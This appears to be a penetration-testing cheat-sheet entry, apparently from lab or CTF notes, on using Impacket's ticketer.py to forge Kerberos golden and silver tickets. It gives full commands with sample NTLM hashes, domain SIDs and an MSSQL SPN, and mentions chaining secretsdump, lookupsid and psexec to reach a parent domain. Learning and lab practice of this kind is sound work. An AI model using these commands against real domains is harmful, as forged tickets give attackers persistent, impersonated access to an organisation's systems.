Summery
ticketer.py is a tool from Impacket used to forge (create new) Kerberos tickets (TGTs). It allows attackers to request tickets for specific users, which can then be used in attacks like pass-the-ticket or to construct a golden ticket.
Examples
Constructing a golden ticket
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 user
This script is also used with other ones like secretsdump.py, lookupsid.py and psexec.py to try to get access to a parent domain. This process is well described in Attacking Domain Trusts - Child & Parent Trusts - from Linux
Constructing a silver ticket
Requirements:
- NTLM hash of the service account’s password -
69596c7aa1e8daee17f8e78870e25a5c- Convert a password into an NTLM hash - Service sccount’s SPN -
MSSQLSvc/breachdc.breach.vl:1433- Easly found with Bloodhound - Domain’s SID -
S-1-5-21-2330692793-3312915120-706255856 - Target’s SAM name -
Administrator
Usage:
ticketer.py -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 Administrator